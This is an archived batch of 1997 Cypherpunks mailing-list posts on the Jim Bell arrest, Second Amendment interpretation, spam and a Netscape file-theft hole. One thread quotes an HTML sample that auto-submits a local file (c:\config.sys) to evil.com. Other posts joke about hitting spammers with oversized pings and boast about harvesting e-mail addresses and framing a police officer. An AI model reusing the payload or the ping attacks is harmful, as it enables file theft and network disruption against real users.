predicament Bell now faces. The "stink bomb" he allegedly used in an IRS
building could be Sarin gas, putatively, given the claims that he had Sarin
precursors. Now we may mostly think he's harmless, but the combination of
this new "let's get tough on terrorist plotters" mood, combined with the
chemical stuff they found, his calls for killing of government agents, his
apparent willingness to use chemical bombs (so the claim goes), all add up
to a "get tough" outcome. Whether it stays this way past his arraignment in
a few weeks is of course unknown.

(Any magistrate or DA who watches this HBO movie might be wondering if
releasing Bell would be turning him loose to launch a Sarin gas attack on
his Fed enemies. I don't think this is a plausible threat, knowing what I
know of Bell.)

Something to think about. Between the World Trade Center bombing and OKC,
there seem to be more people saying that certain civil liberties need to be
given up to ensure security.

Where have we heard this before? (Hint: back in Ben Franklin's day.)


--Tim May, who's sorry he missed the display of firepower at the physical
meeting today




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 15 Jun 1997 14:15:17 +0800
To: cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: <19970614230152.15019@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 14, 1997 at 09:52:39AM -0500, William H. Geiger III wrote:
>Kent Crispin <kent@songbird.com> said:
>
>>                            Amendment I
>
>>Congress shall make no law respecting an establishment of religion, or
>>prohibiting the free exercise thereof; or abridging the freedom of
>>speech, or of the press; or the right of the people peaceably to
>>assemble, and to petition the Government for a redress of grievances. 
>
>>                           Amendment II
>
>>A well regulated Militia, being necessary to the security of a free
>>State, the right of the people to keep and bear Arms, shall not be
>>infringed. 
>
>Which part of "shall not be infringed" don't you understand Kent??  

I understand that part almost perfectly, I daresay.  It's the rest of 
the sentence that is subject to various interpretations.

The wording of the second amendment is strange, and I have read
several highly opinionated pieces about what it means.  I also read
relevant sections of the Federalist/Anti-Federalist papers.

First of all, consider what it does not say.  It does *not* say 
"Congress shall make no law" -- meaning therefore that congress *can* 
make laws, as long as the rest of the sentence is observed.

It does *not* say "the right of an *individual* to keep and bear arms 
shall not be infringed.  It says "the people", a collective term.  It 
references a *well-regulated* militia.

Furthermore, this amendment was derived from input from two states (I 
don't have the documents handy, or I would tell you exactly).
There are caveats in both of the documents, referring to such things 
as "public safety".  The founding fathers were quite aware that it 
isn't necessary to allow criminals to carry guns at all times.

Therefore my interpretation is that according to the constitution,
there is a broad right for the population to own guns, but that right
is fundamentally justified through "the security of a free State". 
Use of arms contrary to the security of the state is not justified
through the second amendment, nor does the second amendment prohibit
congress or the states from controlling such unjustified use of arms.

Thus, the police can take guns away from common thiefs without fear of
a constitutional challenge.  And states, cities, and other 
governmental agencies can regulate arms for the public good, which may 
mean that certain individuals can't own weapons, or that certain kinds 
of weapons can be proscribed.

Here's an analogy -- imagine a hypothetical addition to the Bill of 
Rights, amendment -1:

                           Amendment -1

A healthy economy, being necessary to the security of a free
State, the right of the people to engage in business, shall not be
infringed.

The key is the "engage in business" clause.  Engaging in business
implicitly involves a set of rules of the game.  Inforcing those
rules, or modifying them in light of new circumstances (eg invention
of the telephone) is not the same as "infringing". 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 15 Jun 1997 14:46:25 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Responses to "Spam costs and questions" (long)
Message-ID: <199706150640.XAA22854@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  6 Jun 97 at 23:41, Dr.Dimitri Vulis KOTM wrote:

> If you set up your mailbox to accept e-mail promiscuously from
> anyone, then anything sent to it is "consentual".

Exactly.  And if you put an e-mail address on a web-site, it's fair 
game.  You consent to have me, at least, comment.

> The onus is on the recipient to filter out what they don't want (or

And not the onus of the Government to save us from the nasty bad evil 
spammers.

> to "filter in" only what they want, which is how I think we'll end
> up). Such filtering takes less time+effort than "repeated
> cease-and-desist notes".

Like any spammer listens to those anyway.  I was sent so many of 
those when I started, it didn't scare me at all.  But now I'm a 
reformed, kinder, gentler spammer.  Most times they don't even know 
they've been spammed.

On or About  7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote:

> talk about this (and I do hope Ross will will this of interest!),
> let's

You bet.  I'm bummed that I missed out on this whole conversation, 
it's a week old now.

On or About  7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote:

> Also instead of just building the biggest possible list of e-mail
> addresses, they build a targeted database, keeping track where a
> particular e-mail address was found.

That's right.  I've got different lists for the different places that 
I harvested them from.

> Suppose a person subscribes to
> a "porsche owners" mailing list, and goes to an investment- related
> channel on one of the IRC servers. In no time he'll be getting "junk
> e-mail" related to the interests he expressed - possibly even saying
> "I'm writing you because I saw you on the #invest channel on
> Tuesday, and I want to tell you about this hot new penny stock"
> 
> Left to itself, the market will stabilize and the occasional
> unsolicited bulk e-mail will be even less of a nuisance than it is
> now.

Please.  I beg all of you just to let it settle it's self.  No 
regulation is needed, or wanted.  It's not that bad.

On or About  7 Jun 97 at 13:37, Declan McCullagh wrote:

> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.

I don't want anyone telling me what I have to put into the subject 
field of my bulk e-mailings.

> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
> 
> -Declan

On or About  8 Jun 97 at 5:36, Declan McCullagh wrote:

> I don't think commercial speech should be treated as second-class
> speech. But my position is hardly surprising. 
>

Declan, thanks.  You are right that speech is speech.
 
On or About  9 Jun 97 at 23:45, Kent Crispin wrote:

And here's where it degrades into discussions about ads and sales 
tactics and all that stuff that the general public is so frightened 
of.  It's like salesmen are the reviled, untouchables in our society. 
Needed but hated.  These topics always fall to the level of 
the morals of given marketing strategies.

That's not what this is about.

It's about freedom to tell people about a product in any way that you 
can.

> > When a tobacco company says in an ad, "Joe Camel is cool", what
> > kind of contractual obligations does it assume?
> 
> None.  I did not say that all ads were part of a contract.
> 
> > Have you ever bought a used car, Kent?  Have you seen the language
> > in the contract that throws out whatever promises the saleguy made
> > that are not a part of the contract? 
> 
> Yes, but never from a used-car lot, always from people I know.  I
> have

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 15 Jun 1997 15:19:41 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Impact of Netscape kernel hole
Message-ID: <199706150714.AAA23115@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:

> week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.

Saw this post to Cypherpunks.  I hate to sound less than savvy, but I 
use 2.02.  You guys are gonna help us who refuse to upgrade, right.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 15 Jun 1997 16:22:38 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706150714.AAA23115@adnetsol.adnetsol.com>
Message-ID: <33A3A4AC.192E128A@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Ross Wright wrote:
> 
> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
> 
> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
> 
> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
> use 2.02.  You guys are gonna help us who refuse to upgrade, right.

Sorry, but we don't have any plans to respin 2.x at this time.  If we
get enough requests for it, it might be possible to change our mind,
though.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 15 Jun 1997 16:38:08 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <33A3A71E.C86780C6@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> 
> Adam, above, is speculating about the mechanics of a Netscape security
> hole, which, two years ago, would have gotten someone like Ian
> Goldberg a grand and a t-shirt, but probably only after they had
> published it on the net, just like Mssrs Goldberg and Wagner had to
> do, in order to get Netscape's attention. That included directions for
> how to replicate the problem. Back then, we wouldn't have been
> speculating about the mechanics of the hole, because people would be
> playing with it to see how it worked.  As it is, latest hole was
> published in terms of its results only, and not its mechanics.
> Instead, those precious details were relased only to Netscape, and
> only for, NPR says, "an undisclosed sum".

Just to be clear, we didn't give the blackmailer any money.  As Mike
Homer put it: "We don't bargain with terrorists."

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 15 Jun 1997 16:36:51 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Netscape Exploit
In-Reply-To: <3.0.2.32.19970614211018.03c32c1c@netcom13.netcom.com>
Message-ID: <33A3A827.5E05965@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> >Approved-By: aleph1@UNDERGROUND.ORG
> >Date:  Sat, 14 Jun 1997 19:21:30 -0500
> >Reply-To: root <root@BACKWATER.PBX.ORG>
> >Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
> >From: root <root@BACKWATER.PBX.ORG>
> >Subject:      Netscape Exploit
> >To: BUGTRAQ@NETSPACE.ORG
> >
> >Here is a sample it isn't complete but you get the basic idea of what
> is
> >going on
> ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
> >
> ><BODY onLoad="daForm.submit()">
> ><FORM
> >       NAME="daForm"
> >       ACTION="http://evil.com/cgi-bin/formmail.pl"
> >       METHOD=POST>
> >
> ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on
> your
> >Harddrive">
> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar@evil.com">

Yeah, that's pretty cool.  Too bad it doesn't work.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 15 Jun 1997 14:55:45 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614230152.15019@bywater.songbird.com>
Message-ID: <199706150643.BAA03179@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970614230152.15019@bywater.songbird.com>, on 06/14/97 
   at 11:01 PM, Kent Crispin <kent@songbird.com> said:

>On Sat, Jun 14, 1997 at 09:52:39AM -0500, William H. Geiger III wrote:
>>Kent Crispin <kent@songbird.com> said:
>>
>>>                            Amendment I
>>
>>>Congress shall make no law respecting an establishment of religion, or
>>>prohibiting the free exercise thereof; or abridging the freedom of
>>>speech, or of the press; or the right of the people peaceably to
>>>assemble, and to petition the Government for a redress of grievances. 
>>
>>>                           Amendment II
>>
>>>A well regulated Militia, being necessary to the security of a free
>>>State, the right of the people to keep and bear Arms, shall not be
>>>infringed. 
>>
>>Which part of "shall not be infringed" don't you understand Kent??  

>I understand that part almost perfectly, I daresay.  It's the rest of 
>the sentence that is subject to various interpretations.

>The wording of the second amendment is strange, and I have read several
>highly opinionated pieces about what it means.  I also read relevant
>sections of the Federalist/Anti-Federalist papers.

>First of all, consider what it does not say.  It does *not* say 
>"Congress shall make no law" -- meaning therefore that congress *can* 
>make laws, as long as the rest of the sentence is observed.

>It does *not* say "the right of an *individual* to keep and bear arms 
>shall not be infringed.  It says "the people", a collective term.  It 
>references a *well-regulated* militia.

>Furthermore, this amendment was derived from input from two states (I 
>don't have the documents handy, or I would tell you exactly). There are
>caveats in both of the documents, referring to such things  as "public
>safety".  The founding fathers were quite aware that it  isn't necessary
>to allow criminals to carry guns at all times.

>Therefore my interpretation is that according to the constitution, there
>is a broad right for the population to own guns, but that right is
>fundamentally justified through "the security of a free State".  Use of
>arms contrary to the security of the state is not justified through the
>second amendment, nor does the second amendment prohibit congress or the
>states from controlling such unjustified use of arms.

>Thus, the police can take guns away from common thiefs without fear of a
>constitutional challenge.  And states, cities, and other  governmental
>agencies can regulate arms for the public good, which may  mean that
>certain individuals can't own weapons, or that certain kinds  of weapons
>can be proscribed.

>Here's an analogy -- imagine a hypothetical addition to the Bill of 
>Rights, amendment -1:

>                           Amendment -1

>A healthy economy, being necessary to the security of a free State, the
>right of the people to engage in business, shall not be infringed.

>The key is the "engage in business" clause.  Engaging in business
>implicitly involves a set of rules of the game.  Inforcing those rules,
>or modifying them in light of new circumstances (eg invention of the
>telephone) is not the same as "infringing". 

Well Kent we must be reading from two different dictionaries:

infringe: to encroach upon in a way that violates law or the rights of
another

encroach: to enter by gradual steps or by stelth into the possessions or
rights of another.

By the above definition this is exactly what the government has been doing
with it's ever increasing restictions on the possesions of guns by it's
citizens and what the founding fathers wished to posses. If they had
wanted the government to have the power to control and regulate the
ownership of guns then they would have said so.

The Bill of Rights were not added to the Constitution to give the
government more power but to restrict their power.

The whole purpose of the 2nd Amendment was to provide a final check &
balance on the government. Our founding fathers were all too aware that it
was manditory that the population must be well armed inorder preserve
their freedom against an unjust government.

An unarmed people are just so much sheep waiting for the slaughter.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 15:29:39 +0800
To: cypherpunks@toad.com
Subject: Netscape Update
Message-ID: <199706150718.DAA28831@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
 
> All this reminds me of something Tim May, Eric Hughes, and others have said
> before. Once you've gotten to the point where loss of security equals, in a
> very literal sense, loss of money, the incentive to publicize any given
> security hole starts to go away.

  The Netscape PR department is no doubt preparing to spin the "bug fix"
into a "major update." 

  The fact of the matter is, the software does exactly what it was
designed to do. The fact that those who are "out of the loop" found out
how to use that designed feature does not make it a "bug."
  When the list got spammed with email from 10,000 Laker fans named
"Bubba," I blasted plaidworks.com for their rudeness in trying to place
all the blame on "hackers" when the fact was that they left their system
wide open to abuse for the sake of convenience and profit.
  Similarly, the government and corporations want systems designed to
allow them access to all available information passing through the
internet system and then cry "abuse" or "security bug" when individuals
discover how to use the design to their advantage.

  Calling the Netscape feature a "bug" merely serves to draw attention
away from the fact that the software was intentionally designed in order
to facilitate snooping (ala Clipper chip?) and that indicates that there
have been people who have known how to take advantage of the feature
since its implementation.
  Do the people who instituted the design and development of this 
snooping feature all have "Good Guy" stamped on their forhead? Sure
they do...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 16:27:52 +0800
To: cypherpunks@toad.com
Subject: Re: We need more surveillance--a morality play about terrorism
Message-ID: <199706150817.EAA32172@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> I've been watching an HBO movie, "Path to Paradise," about the bombing of
> the World Trade Center in February 1993. It's quite well-done, as most HBO
> movies of this sort are.
> 
> However, it is fairly heavy on a propaganda message which may give some
> insights into the likely changes in political freedoms in the United
> States.
> In short, a morality play about the hazards of letting people plot their
> crimes without proper surveillance.
> 
> Not to sound conspiratorial, I suspect that this changed climate is
> consistent with the views of the FBI and White House, and that HBO is
> playing some role (unofficially, of course, and maybe not even consciously)
> in this new emphasis.

  The movies have long been a source of propaganda for LEA's of all
types and descriptions, as well as the military.
  You want co-operation? You want to get bargin rates on access to
city (or military) facilities, streets, vehicles, etc? If so, then
you'd better be prepared to present an "acceptable" script to those
who make the decisions.
  The military and LEA's know that they are in a position to save
movie producers millions of dollars through their co-operation and
producers know that an acceptable script is the ante that may well
make the difference between their movie being produced or canned.

  Cop shows are the rage on TV at present, and if you can find 
a major force of real-life cops that call everyone "Sir" and treat
them like humans, I'll kiss your ass, but that's what we see on
the Tube, anyway. It would cost a fucking fortune to produce a
similar show which reflected the reality of how LEA's treat the
citizens.
  I have a friend who was casting director for "Miami Vice" and
I recall her telling me at an early point in the series that they
were being forced, for financial reasons, to "clean up" the scripts
so as to make the cops more sympathetic and reputable characters.

  Face it, we live in TV World. We didn't get an actor as our
President by "accident."  We elect "sound bytes" and "charisma."
We elect "plausible deniability" and "non-smoking guns."
  We are sold fear and violence both as news and entertainment,
and we "buy" it as our reality. Then our fear is used to sell
us products such as loss of privacy and freedom.
  This is the consumer age, and it is driven by advertising and
profit. In the Media Age the marketing term "find a need and
fill it" has become "_create_ a need and fill it."
  There's big money in fear and violence.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 18:30:31 +0800
To: cypherpunks@toad.com
Subject: Re: Netscape Exploit
Message-ID: <199706151017.GAA04407@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote: 
> Lucky Green wrote:
> >
> > >Here is a sample it isn't complete but you get the basic idea of what
> > is
> > >going on
> > ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
...

> Yeah, that's pretty cool.  Too bad it doesn't work.

  If you wanted a version that works you should have checked out the
RCMP site that one of the Truth Mongers (or spin-offs) pointed to on
the list a while back. It had a nifty bit of code which showed you
the contents of your own hard drive and grabbed a copy for their own
use.
  There was also a site on sympatico.ca which had the same code, only
the link read "Click here to read the Whitehouse hard drive." If you
followed further links on the site some would take a long time to load
and if you paid attention you could guess that your hard drive was being
accessed. I turned a friend onto the files I saved from the sites and
I assume he hacked at least one of them to get the executables that 
they were running since he bought me a case of Budweiser for sharing 
the information with him.

  I have noticed in surfing a variety of hacker URLs that sometimes it
takes an awfully long time to load what turns out to be a fairly simple
screen and there is invariably a lot of disk activity going on in these
instances. I don't worry about what may be taking place since I bought
a used computer specifically for internet cruising so I can enjoy myself
instead of fretting about security issues.
  I put a lot of files and directories on my hard drive with names like
"Offthepigs" and "assass.plot" and cruised around the RCMP site from an
anonymous account. I used the name of a local cop as the ostensible
owner of the machine and author of the files. (I _do_ hope they were
paying attention!)

  There was an article on computer security on the RCMP site which spoke
quite openly about the potential of technology in general and remailers
in specific for mounting sting operations. (I will try to dig up the
URL for it and pass it along. It should be in the list archives too.)

~~~~~~~~~
Not a cop
~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 15 Jun 1997 19:38:17 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <33A3A71E.C86780C6@netscape.com>
Message-ID: <199706151132.HAA21332@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein writes:

: Just to be clear, we didn't give the blackmailer any money.  As Mike
: Homer put it: "We don't bargain with terrorists."

It is be really quite nice in Aarhus this time of year.  And on the 
Eve of St. John they stay up all night dancing around the bonfires
in which they burn the Witch.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 15 Jun 1997 23:00:39 +0800
To: webmaster@intraday.com
Subject: I love http://www.intraday.com/spam/spam/spam
Message-ID: <mkac9D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



It's hilarious!! Many thanks to whomever put it up

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 15 Jun 1997 20:36:12 +0800
To: cypherpunks@toad.com
Subject: Re: e$: Skins vs. Shirts
Message-ID: <1.5.4.32.19970615122126.008e4e64@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote:

>Just to be clear, we didn't give the blackmailer any money.  As Mike
>Homer put it: "We don't bargain with terrorists."

That's rather inflammatory name-calling. Sounds a bit Kallstromish, no?
Surely Homer hasn't been hanging with the CT-hypers.

However, it confirms Tim's surmise that we're facing an inflation of
terrorist-spin to whatever feeds nightsweats of monsters coming to
Ballmer our babies -- of flesh, markets or surveilling features.

Still, is it any surprise to the burgeoning snoopers (prurient, commercial or 
law) that most personal computer disks are as empty of content as those 
of data banks, government, military, corporations and other XXX sites? 
They're stuffed with make-work idleness, slightly Dilberted with lonely-guy 
infowar & -love games of fantasies of what will never be. 

Recall Mitnick's find on The Well, Shimomura, the telcos and the feds -- lots
of empty data and wannabe-prattle.

In that case, the Feds and the victims conspired to script a film to make the 
nothingness seem valuable, when what they really feared that it would be 
shown to be worthless junk. 

Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 15 Jun 1997 23:33:38 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614230152.15019@bywater.songbird.com>
Message-ID: <19970615082454.12999@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 15, 1997 at 01:47:14AM -0500, William H. Geiger III wrote:
>
>Well Kent we must be reading from two different dictionaries:
>
>infringe: to encroach upon in a way that violates law or the rights of
>another
>
>encroach: to enter by gradual steps or by stelth into the possessions or
>rights of another.

No, that's essentially what my dictionary says.  The issue isn't
"infringe".  The issue is exactly *what* is being infringed upon --
what does it mean to "keep and bear arms", and who is being referred
to by "the people", and what is the meaning of the clause about a
"well *regulated* militia" (my emphasis).

>By the above definition this is exactly what the government has been doing
>with it's ever increasing restictions on the possesions of guns by it's
>citizens and what the founding fathers wished to posses. If they had
>wanted the government to have the power to control and regulate the
>ownership of guns then they would have said so.

I believe they did.  There are numerous other clauses in the 
constitution that grant powers to congress to regulate various things 
in broad and general terms -- those adequately cover guns.

Furthermore, the constitution only covers the federal government.  
State governments have a whole other level of control over individual 
ownership of guns.

A nearby town recently passed a hotly contested city ordinance
forbidding the sale of "junk guns" in the city limits.  Such
ordinances are fairly common -- this case was unusual because it went
to a popular vote.  Perhaps it will be appealed, but I believe that 
an appeal will lose.

>The Bill of Rights were not added to the Constitution to give the
>government more power but to restrict their power.

Here are some interesting clauses from the constitution, listing certain 
powers:

    ...

    To make Rules for the Government and Regulation of the land and
    naval Forces;

    To provide for calling forth the Militia to execute the Laws of
    the Union, suppress Insurrections and repel Invasions;


    To provide for organizing, arming, and disciplining, the Militia,
    and for governing such Part of them as may be employed in the
    Service of the United States, reserving to the States
    respectively, the Appointment of the Officers, and the Authority
    of training the Militia according to the discipline prescribed by
    Congress;

[note: ..."suppress Insurrections"]
[note: the mention of the "Militia", and how they have a clear idea
       of what it is and how it is to be used]
    ... 

    To make all Laws which shall be necessary and proper for carrying
    into Execution the foregoing Powers, and all other Powers vested
    by this Constitution in the Government of the United States, or in
    any Department or Officer thereof.

>The whole purpose of the 2nd Amendment was to provide a final check & 
>balance on the government. 

My reading of the constitution and supporting documents does not
support this claim.

In fact, William, though it may not appear so, I am relatively 
impartial on interpretation of the second amendment -- I own several 
guns, my family has always owned guns, I was a member of the NRA at 
the earliest possible age, back when their focus was responsible use 
and not advocacy for large gun companies.

My beef with you and Tim and the other gun advocates on the list is 
precisely this issue of responsibility, not ownership of guns per 
se.  Guns are not toys.  They don't belong in the hands of children.
[Do you think the constitution guarantees that two-year olds should 
be able to carry guns, BTW?  If not, why not?]

>Our founding fathers were all too aware that it
>was manditory that the population must be well armed inorder preserve
>their freedom against an unjust government.

I refer you again to the "suppress Insurrections" clause above.

>An unarmed people are just so much sheep waiting for the slaughter.

Perhaps true.  However, that does not imply that every single 
individual therefore must own a gun.  Saying "the people are armed" 
is not the same thing as saying "every single individual has a gun".  
"The people" includes babies, the blind, quadraplegics, psychopaths, 
convicted felons in jail, Quakers.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Sun, 15 Jun 1997 21:00:32 +0800
To: Bill Frantz <frantz@communities.com>
Subject: Re: Spam Libs (Frauenfelder on HotWired)
In-Reply-To: <3.0.32.19970613120139.0074c9b4@homer.communities.com>
Message-ID: <199706151242.IAA08090@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain




I'm not sure about c'punk relevance, but that doesn't seem to make
much difference these days.  Anyone interested in the previous message
is likely interested in this.

Here's (most) of a note I sent to Mark Frauenfelder.

-------------------------------- snip --------------------------------
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
To: mark@wired.com 
Subject: MadSpams...SpamLibs... uh... yeah
Date: Thu, 12 Jun 97 08:43:58 EDT

*chuckle* ... that's pretty good.

Some of my favorite activities with regard to spammers:
 * giving them a nice call on the telephone.  Call collect, and then
   say that you've got something to sell them.  Read them back their
   own spam if you can get that far.
 * calling their 800 number and reading them their own spam
 * calling them to ask  if they have any idea what they're doing to the
   Internet.  The answer is invariably "no."  (Of course not, these
   are clueless parasites.)
 * signing up one spammer's autoresponder to another spammer's
   autoresponder. 
 * collecting a list of technical and administrative contacts for
   zones that are notorious about originating spam, the people who
   sell and give out their spam software, etc.  Then, every time spam
   comes in, simply bounce it to that alias, and the spammers all spam
   each other.
 * sending mail back that's politely insulting.  My favorite
   one-liner:
     "You're not a very smart man, are you?"
 * My favorite for sex-related spam:  hinting that I became aware of
   their spam after my 9 year old daughter with an email address asked
   me what "hardcore anal sex" is.  Doing this over the phone is
   great, because I can yell hysterically.  Through email is even better,
   since I can copy their ISP's contact, and that one... all the way
   to the backbone.
 * Sometimes my mail relay seems to choke on spam, and sends back a
   packet with a MSG_OOB bit sent to the host that originated the
   spam.  Gee, dunno how that happened.  Sometimes if the host stays
   up after that, it's followed by an oversized ping.  Shucks, that's
   too bad when that happens.  Maybe one day I'll track down that, uh,
   bug and ... fix it.

Of course, I always complain about every spam that hits me.  The
administrative contact of the site that is as far back as I can trace
the message, the administrative contact of the site's ISP, and that
site's ISP, all the way up to a backbone provider, or a well-known,
responsible organization.  I have a form letter for doing this, and
I've got another completely-ready-to-go letter that just needs me to
slap in the To: addresses:
   wallace@cyberpromo.com, postmaster@cyberpromo.com, postmaster@agis.net

You can guess what that one's for.

In all seriousness, I'm working on a paper for filtering spam.  I
think I've found a way to almost completely eliminate it through a
combination of router access control lists, spam-aware mail transfer
agents (MTAs), and filtering local delivery agents.  Individuals who
wish to filter beyond that can also put on filters of their own with
programs like Z-mail, Eudora, and procmail.  I'm hoping that I'll be
able to get enough people filtering the stuff out that it simply won't
work.  If it won't work, economics will dictate that the spammers go
out of business and go back to assembling chilitos at Taco Bell.

Maybe a good thing to do would be to provide a program to users for
the spam that does slip through, sort of an automated spamlib, that
parses the headers and knows where to send it... :-)

------------------------------- unsnip -------------------------------

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!   Crack DES NOW! http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 00:04:16 +0800
To: Tom Weinstein <cypherpunks@Algebra.COM
Subject: Re: Impact of Netscape kernel hole
